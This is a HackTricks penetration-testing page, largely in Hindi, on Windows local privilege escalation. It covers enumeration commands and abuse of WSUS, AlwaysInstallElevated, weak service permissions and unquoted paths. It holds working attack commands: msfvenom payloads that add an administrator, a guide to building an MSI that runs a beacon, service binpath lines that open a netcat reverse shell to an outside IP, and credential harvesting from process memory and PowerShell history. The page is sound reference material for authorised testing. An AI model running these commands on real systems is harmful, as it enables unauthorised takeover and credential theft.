Windows Local Privilege Escalation

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Windows local privilege escalation vectors के लिए सबसे अच्छा टूल: WinPEAS

प्रारंभिक Windows सिद्धांत

Access Tokens

यदि आप नहीं जानते कि Windows Access Tokens क्या हैं, तो आगे बढ़ने से पहले निम्न पृष्ठ पढ़ें:

Access Tokens

ACLs - DACLs/SACLs/ACEs

ACLs - DACLs/SACLs/ACEs के बारे में अधिक जानकारी के लिए निम्न पृष्ठ देखें:

ACLs - DACLs/SACLs/ACEs

Integrity Levels

यदि आप नहीं जानते कि Windows में integrity levels क्या हैं, तो आगे बढ़ने से पहले निम्न पृष्ठ पढ़ें:

Integrity Levels

Windows सुरक्षा नियंत्रण

Windows में ऐसी विभिन्न चीज़ें हैं जो आपको सिस्टम को सूचीबद्ध करने से रोक सकती हैं, executables चलाने से रोक सकती हैं या यहाँ तक कि आपकी गतिविधियों का पता लगा सकती हैं। आपको privilege escalation enumeration शुरू करने से पहले निम्नलिखित पृष्ठ को पढ़ना चाहिए और इन सभी रक्षा तंत्रों को सूचीबद्ध करना चाहिए:

Windows Security Controls

सिस्टम जानकारी

Version info enumeration

जाँचें कि क्या Windows संस्करण में कोई ज्ञात कमज़ोरी है (लागू किए गए पैच भी जाँचें)।

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Version Exploits

यह site Microsoft security vulnerabilities के बारे में विस्तृत जानकारी खोजने के लिए उपयोगी है। यह डेटाबेस 4,700 से अधिक security vulnerabilities रखता है, जो दर्शाता है कि एक Windows environment कितना massive attack surface प्रस्तुत करता है।

On the system

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas में watson embedded है)

Locally with system information

Github repos of exploits:

Environment

क्या कोई credential/Juicy info env variables में संग्रहीत है?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShell इतिहास

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell ट्रांस्क्रिप्ट फ़ाइलें

इसे चालू करने का तरीका आप इस लिंक पर देख सकते हैं: https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

PowerShell pipeline executions के विवरण रिकॉर्ड किए जाते हैं, जिनमें executed commands, command invocations और parts of scripts शामिल होते हैं। हालांकि, पूर्ण execution विवरण और output results हमेशा कैप्चर नहीं होते हैं।

इसे सक्षम करने के लिए, दस्तावेज़ के “Transcript files” सेक्शन में दिए निर्देशों का पालन करें, और “Module Logging” को “Powershell Transcription” की बजाय चुनें।

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

PowersShell logs से आखिरी 15 events देखने के लिए आप निम्नलिखित कमांड चला सकते हैं:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

स्क्रिप्ट के निष्पादन की संपूर्ण गतिविधि और पूरे कंटेंट का रिकॉर्ड कैप्चर किया जाता है, जिससे यह सुनिश्चित होता है कि चलने के दौरान code का हर ब्लॉक दस्तावेजीकृत हो। यह प्रक्रिया प्रत्येक गतिविधि का एक व्यापक audit trail संरक्षित करती है, जो forensics और दुर्भावनापूर्ण व्यवहार के विश्लेषण के लिए मूल्यवान है। निष्पादन के समय सभी गतिविधियों का दस्तावेजीकरण करके प्रक्रिया के बारे में विस्तृत अंतर्दृष्टि प्रदान की जाती है।

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Script Block के लॉगिंग इवेंट Windows Event Viewer में इस path पर स्थित हैं: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
आखिरी 20 इवेंट्स देखने के लिए आप उपयोग कर सकते हैं:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

इंटरनेट सेटिंग्स

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

ड्राइव्स

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

आप सिस्टम को compromise कर सकते हैं यदि updates httpS के बजाय http के माध्यम से अनुरोधित किए जाते हैं।

आप यह जांचकर शुरू करते हैं कि नेटवर्क non-SSL WSUS update का उपयोग कर रहा है या नहीं, cmd में निम्नलिखित चलाकर:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

या PowerShell में निम्नलिखित:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

यदि आपको इस प्रकार का कोई उत्तर मिलता है:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

और यदि HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer या Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" का मान 1 के बराबर है।

तो, इसे exploit किया जा सकता है। यदि अंतिम registry मान 0 के बराबर है, तो WSUS एंट्री को अनदेखा कर दिया जाएगा।

इन कमजोरियों का फायदा उठाने के लिए आप निम्न टूल्स का उपयोग कर सकते हैं: Wsuxploit, pyWSUS - ये MiTM weaponized exploits scripts हैं जो non-SSL WSUS ट्रैफिक में ‘fake’ updates इंजेक्ट करते हैं।

Read the research here:

WSUS CVE-2020-1013

Read the complete report here.
Basically, this is the flaw that this bug exploits:

यदि हमारे पास अपने स्थानीय उपयोगकर्ता proxy को बदलने की शक्ति है, और Windows Updates Internet Explorer की settings में configured proxy का उपयोग करती है, तो हम स्थानीय रूप से PyWSUS चला कर अपनी स्वयं की ट्रैफिक को इंटरसेप्ट कर सकते हैं और अपने asset पर elevated user के रूप में कोड चला सकते हैं।

Furthermore, चूँकि WSUS service current user की settings का उपयोग करती है, यह उसका certificate store भी उपयोग करेगी। यदि हम WSUS hostname के लिए एक self-signed certificate जेनरेट करते हैं और इस certificate को current user के certificate store में जोड़ते हैं, तो हम HTTP और HTTPS दोनों WSUS ट्रैफिक को इंटरसेप्ट करने में सक्षम होंगे। WSUS certificate पर trust-on-first-use प्रकार की validation लागू करने के लिए कोई HSTS-like mechanisms का उपयोग नहीं करता। यदि प्रस्तुत किया गया certificate user द्वारा ट्रस्टेड है और सही hostname है, तो इसे service द्वारा स्वीकार कर लिया जाएगा।

You can exploit this vulnerability using the tool WSUSpicious (once it’s liberated).

Third-Party Auto-Updaters and Agent IPC (local privesc)

कई enterprise agents localhost IPC surface और privileged update channel expose करते हैं। यदि enrollment को attacker server की طرف मजबूर किया जा सके और updater किसी rogue root CA या कमजोर signer checks पर भरोसा करे, तो एक local user एक malicious MSI पहुंचा सकता है जिसे SYSTEM service इंस्टॉल कर देती है। एक सामान्यीकृत तकनीक देखें (based on the Netskope stAgentSvc chain – CVE-2025-0309) here:

Abusing Auto Updaters And Ipc

KrbRelayUp

Windows domain environments में एक local privilege escalation vulnerability मौजूद है, कुछ विशिष्ट परिस्थितियों में। इन परिस्थितियों में वे environments शामिल हैं जहाँ LDAP signing is not enforced, users के पास self-rights हैं जो उन्हें configure करने की अनुमति देते हैं Resource-Based Constrained Delegation (RBCD), और users को domain के भीतर कंप्यूटर बनाने की capability है। ध्यान देने योग्य है कि ये requirements default settings के साथ भी पूरी हो जाती हैं।

Exploit को यहाँ पाएँ: https://github.com/Dec0ne/KrbRelayUp

आक्रमण के flow के बारे में अधिक जानकारी के लिए देखें https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

यदि ये 2 रजिस्टर enabled हैं (value is 0x1), तो किसी भी privilege वाले users *.msi फाइलें NT AUTHORITY\SYSTEM के रूप में install (execute) कर सकते हैं।

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

यदि आपके पास एक meterpreter session है, तो आप मॉड्यूल exploit/windows/local/always_install_elevated का उपयोग करके इस तकनीक को स्वचालित कर सकते हैं।

PowerUP

power-up के Write-UserAddMSI कमांड का उपयोग करके वर्तमान निर्देशिका में एक Windows MSI binary बनाएं ताकि आप privileges escalate कर सकें। यह स्क्रिप्ट एक precompiled MSI installer लिखती है जो user/group addition के लिए prompt करता है (तो आपको GIU access की आवश्यकता होगी):

Write-UserAddMSI

बस बनाए गए binary को execute करके privileges escalate करें।

MSI Wrapper

इस tutorial को पढ़ें ताकि आप इन tools का उपयोग करके MSI wrapper कैसे बनाते हैं यह सीख सकें। ध्यान दें कि आप एक .bat फ़ाइल को wrap कर सकते हैं अगर आप सिर्फ कमान्ड लाइन चलाना चाहते हैं

MSI Wrapper

Create MSI with WIX

Create MSI with WIX

Create MSI with Visual Studio

  • Generate with Cobalt Strike or Metasploit a new Windows EXE TCP payload in C:\privesc\beacon.exe
  • Open Visual Studio, select Create a new project and type “installer” into the search box. Select the Setup Wizard project and click Next.
  • Give the project a name, like AlwaysPrivesc, use C:\privesc for the location, select place solution and project in the same directory, and click Create.
  • Keep clicking Next until you get to step 3 of 4 (choose files to include). Click Add and select the Beacon payload you just generated. Then click Finish.
  • Highlight the AlwaysPrivesc project in the Solution Explorer and in the Properties, change TargetPlatform from x86 to x64.
  • There are other properties you can change, such as the Author and Manufacturer which can make the installed app look more legitimate.
  • Right-click the project and select View > Custom Actions.
  • Right-click Install and select Add Custom Action.
  • Double-click on Application Folder, select your beacon.exe file and click OK. This will ensure that the beacon payload is executed as soon as the installer is run.
  • Under the Custom Action Properties, change Run64Bit to True.
  • Finally, build it.
  • If the warning File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' is shown, make sure you set the platform to x64.

MSI Installation

malicious .msi फ़ाइल की installation पृष्ठभूमि में चलाने के लिए:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

इस कमज़ोरी को exploit करने के लिए आप उपयोग कर सकते हैं: exploit/windows/local/always_install_elevated

एंटीवायरस और डिटेक्टर

ऑडिट सेटिंग्स

ये सेटिंग्स तय करती हैं कि क्या लॉग किया जा रहा है, इसलिए आपको ध्यान देना चाहिए।

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, यह जानना दिलचस्प है कि logs कहाँ भेजे जाते हैं

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS का उद्देश्य स्थानीय Administrator पासवर्ड्स के प्रबंधन के लिए है, यह सुनिश्चित करते हुए कि प्रत्येक पासवर्ड अद्वितीय, यादृच्छिक, और नियमित रूप से अपडेट किया जाता है उन कंप्यूटरों पर जो एक डोमेन से जुड़े हैं। ये पासवर्ड सुरक्षित रूप से Active Directory में स्टोर किए जाते हैं और केवल उन उपयोगकर्ताओं द्वारा एक्सेस किए जा सकते हैं जिन्हें ACLs के माध्यम से पर्याप्त अनुमतियाँ दी गई हों, जिससे वे अधिकृत होने पर local admin पासवर्ड देख सकते हैं।

LAPS

WDigest

यदि सक्रिय है, तो plain-text पासवर्ड LSASS में स्टोर होते हैं (Local Security Authority Subsystem Service).
More info about WDigest in this page.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

Windows 8.1 से, Microsoft ने Local Security Authority (LSA) के लिए संवर्धित सुरक्षा पेश की ताकि अविश्वसनीय प्रक्रियाओं द्वारा इसकी मेमोरी read its memory करने या कोड इंजेक्ट करने के प्रयासों को block किया जा सके, जिससे सिस्टम और सुरक्षित हो।
More info about LSA Protection here

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard को Windows 10 में पेश किया गया था। इसका उद्देश्य डिवाइस पर संग्रहीत credentials को pass-the-hash जैसे खतरों से सुरक्षित रखना है.| Credentials Guard के बारे में अधिक जानकारी यहाँ।

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domain credentials को Local Security Authority (LSA) द्वारा प्रमाणित किया जाता है और ऑपरेटिंग सिस्टम घटकों द्वारा उपयोग किया जाता है। जब किसी उपयोगकर्ता का logon data किसी registered security package द्वारा प्रमाणित होता है, तो आम तौर पर उस उपयोगकर्ता के लिए domain credentials स्थापित किए जाते हैं।
More info about Cached Credentials here.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

उपयोगकर्ता और समूह

उपयोगकर्ताओं और समूहों को सूचीबद्ध करें

आपको यह जांचना चाहिए कि जिन समूहों का आप हिस्सा हैं उनमें से किसी के पास रोचक अनुमतियाँ हैं।

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Privileged groups

यदि आप किसी विशेषाधिकार समूह के सदस्य हैं तो आप उच्चाधिकार प्राप्त कर सकते हैं। यहाँ जानें कि विशेषाधिकार समूह क्या हैं और उन्हें दुरुपयोग करके अधिकार कैसे बढ़ाए जा सकते हैं:

Privileged Groups

Token manipulation

अधिक जानें इस पृष्ठ पर कि token क्या है: Windows Tokens.
निम्नलिखित पृष्ठ देखें ताकि आप रुचिकर tokens के बारे में जानें और उनका दुरुपयोग कैसे किया जाता है:

Abusing Tokens

Logged users / Sessions

qwinsta
klist sessions

होम फ़ोल्डर्स

dir C:\Users
Get-ChildItem C:\Users

पासवर्ड नीति

net accounts

क्लिपबोर्ड की सामग्री प्राप्त करें

powershell -command "Get-Clipboard"

चल रहे Processes

File और Folder Permissions

सबसे पहले, processes की सूची बनाकर process की command line में पासवर्ड के लिए जांचें.
जांचें कि क्या आप overwrite some binary running कर सकते हैं या क्या आपके पास binary folder पर write permissions हैं ताकि आप संभव DLL Hijacking attacks का फायदा उठा सकें:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

हमेशा संभावित electron/cef/chromium debuggers चल रहे, आप इसका दुरुपयोग करके escalate privileges कर सकते हैं.

प्रोसेस बाइनरीज़ के permissions की जाँच

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

प्रोसेस बाइनरीज़ के फ़ोल्डरों की permissions की जांच (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

आप चल रहे process का memory dump बनाने के लिए sysinternals के procdump का उपयोग कर सकते हैं। FTP जैसे services की memory में अक्सर credentials in clear text in memory होते हैं — memory को dump करके credentials पढ़ने की कोशिश करें।

procdump.exe -accepteula -ma <proc_name_tasklist>

असुरक्षित GUI ऐप्स

SYSTEM के रूप में चलने वाले Applications एक user को CMD spawn करने या डायरेक्टरी ब्राउज़ करने की अनुमति दे सकते हैं।

उदाहरण: “Windows Help and Support” (Windows + F1), “command prompt” खोजें, “Click to open Command Prompt” पर क्लिक करें

Services

Service Triggers Windows को तब service start करने देते हैं जब certain conditions घटित हों (named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh, आदि)। SERVICE_START rights के बिना भी आप अक्सर privileged services को उनके triggers चलाकर start कर सकते हैं। enumeration और activation techniques यहाँ देखें:

Service Triggers

सेवाओं की सूची प्राप्त करें:

net start
wmic service list brief
sc query
Get-Service

अनुमतियाँ

आप किसी सेवा की जानकारी प्राप्त करने के लिए sc का उपयोग कर सकते हैं।

sc qc <service_name>

यह अनुशंसित है कि Sysinternals से बाइनरी accesschk प्रत्येक सेवा के लिए आवश्यक privilege level जांचने के लिए उपलब्ध हो।

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

सिफारिश की जाती है कि जाँच करें कि “Authenticated Users” किसी भी सेवा को संशोधित कर सकते हैं:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

You can download accesschk.exe for XP for here

सेवा सक्षम करें

यदि आपको यह त्रुटि हो रही है (उदाहरण के लिए SSDPSRV के साथ):

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

आप इसे सक्षम करने के लिए निम्नलिखित का उपयोग कर सकते हैं

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

ध्यान दें कि सेवा upnphost काम करने के लिए SSDPSRV पर निर्भर करती है (XP SP1 के लिए)

इस समस्या का एक अन्य समाधान यह कमांड चलाना है:

sc.exe config usosvc start= auto

सर्विस बाइनरी पाथ बदलें

इस परिदृश्य में जहाँ “Authenticated users” समूह को किसी service पर SERVICE_ALL_ACCESS अधिकार प्राप्त है, उस सर्विस के executable बाइनरी को संशोधित करना संभव है। सर्विस को संशोधित करने और निष्पादित करने के लिए sc का उपयोग करें:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

सेवा पुनरारंभ करें

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Privileges can be escalated through various permissions:

  • SERVICE_CHANGE_CONFIG: सेवा बाइनरी को पुनः कॉन्फ़िगर करने की अनुमति देता है।
  • WRITE_DAC: अनुमति पुनः कॉन्फ़िगरेशन सक्षम करता है, जिससे सेवा कॉन्फ़िगरेशन बदलने की क्षमता मिलती है।
  • WRITE_OWNER: स्वामित्व प्राप्त करने और अनुमतियाँ पुनः कॉन्फ़िगर करने की अनुमति देता है।
  • GENERIC_WRITE: सेवा कॉन्फ़िगरेशन बदलने की क्षमता शामिल करता है।
  • GENERIC_ALL: भी सेवा कॉन्फ़िगरेशन बदलने की क्षमता शामिल करता है।

इस कमज़ोरी का पता लगाने और शोषण करने के लिए, exploit/windows/local/service_permissions का उपयोग किया जा सकता है।

Services binaries weak permissions

जांचें कि क्या आप उस बाइनरी को संशोधित कर सकते हैं जिसे किसी सेवा द्वारा निष्पादित किया जाता है या अगर आपके पास उस फ़ोल्डर पर write permissions हैं जहाँ बाइनरी स्थित है (DLL Hijacking).
You can get every binary that is executed by a service using wmic (not in system32) and check your permissions using icacls:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

आप sc और icacls का भी उपयोग कर सकते हैं:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Services registry modify permissions

आपको यह जांचना चाहिए कि क्या आप किसी service registry को संशोधित कर सकते हैं.
आप जांच सकते हैं अपनी अनुमतियाँ किसी service registry पर इस तरह:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

जांचना चाहिए कि क्या Authenticated Users या NT AUTHORITY\INTERACTIVE के पास FullControl permissions हैं। यदि हाँ, तो service द्वारा execute की जाने वाली binary को बदला जा सकता है।

Execute की जाने वाली binary के Path को बदलने के लिए:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Services registry AppendData/AddSubdirectory permissions

यदि आपके पास किसी registry पर यह permission है, तो इसका मतलब है कि you can create sub registries from this one। Windows services के मामले में यह enough to execute arbitrary code:

AppendData/AddSubdirectory permission over service registry

Unquoted Service Paths

यदि किसी executable का path quotes के अंदर नहीं है, तो Windows हर space से पहले वाले ending को execute करने की कोशिश करेगा।

उदाहरण के लिए, path C:\Program Files\Some Folder\Service.exe के लिए Windows निम्नलिखित को execute करने की कोशिश करेगा:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

बिल्ट-इन Windows सेवाओं से संबंधित न होने वाले सभी unquoted service paths सूचीबद्ध करें:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose

for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

आप detect और exploit कर सकते हैं इस vulnerability को metasploit के साथ: exploit/windows/local/trusted\_service\_path आप manually metasploit का उपयोग करके एक service binary बना सकते हैं:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

रिकवरी क्रियाएँ

Windows उपयोगकर्ताओं को यह निर्दिष्ट करने की अनुमति देता है कि यदि कोई सेवा विफल हो तो क्या क्रियाएँ की जाएँ। इस विशेषता को किसी बाइनरी की ओर कॉन्फ़िगर किया जा सकता है। यदि यह बाइनरी replaceable है, तो privilege escalation संभव हो सकता है। अधिक जानकारी आधिकारिक दस्तावेज़ में मिल सकती है।

एप्लिकेशन

इंस्टॉल किए गए एप्लिकेशन

जाँचें बाइनरी की अनुमतियाँ (शायद आप किसी एक को overwrite करके escalate privileges कर सकें) और फ़ोल्डरों की (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

लिखने की अनुमतियाँ

जाँच करें कि क्या आप किसी config file को संशोधित करके किसी विशेष फ़ाइल को पढ़ने में सक्षम हो सकते हैं, या क्या आप किसी binary को संशोधित कर सकते हैं जिसे Administrator account (schedtasks) द्वारा चलाया जाएगा।

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*

icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

स्टार्टअप पर चलाएँ

जाँचें कि क्या आप किसी registry या binary को overwrite कर सकते हैं जो किसी दूसरे user द्वारा execute किया जाएगा।\
Read the following page to learn more about interesting autoruns locations to escalate privileges:

Privilege Escalation with Autoruns

Drivers

संभावित third party weird/vulnerable drivers की तलाश करें

driverquery
driverquery.exe /fo table
driverquery /SI

यदि कोई driver arbitrary kernel read/write primitive (आम तौर पर खराब डिज़ाइन किए गए IOCTL handlers में पाया जाता है) एक्सपोज़ करता है, तो आप kernel memory से सीधे SYSTEM token चुरा कर escalate कर सकते हैं। चरण-दर-चरण technique यहाँ देखें:

Arbitrary Kernel Rw Token Theft

ऐसे race-condition bugs में जहाँ vulnerable call एक attacker-controlled Object Manager path खोलता है, lookup को जानबूझ कर धीमा करना (max-length components या deep directory chains का उपयोग करके) विंडो को माइक्रोसेकंड से लेकर कई दस माइक्रोसेकंड तक बढ़ा सकता है:

Kernel Race Condition Object Manager Slowdown

Registry hive memory corruption primitives

आधुनिक hive vulnerabilities आपको निर्धारित लेआउट तैयार करने, writable HKLM/HKU descendants का दुरुपयोग करने, और metadata corruption को kernel paged-pool overflows में बदलने देती हैं बिना किसी custom driver के। पूरी chain यहाँ देखें:

Windows Registry Hive Exploitation

FILE_DEVICE_SECURE_OPEN के अभाव का device objects पर दुरुपयोग (LPE + EDR kill)

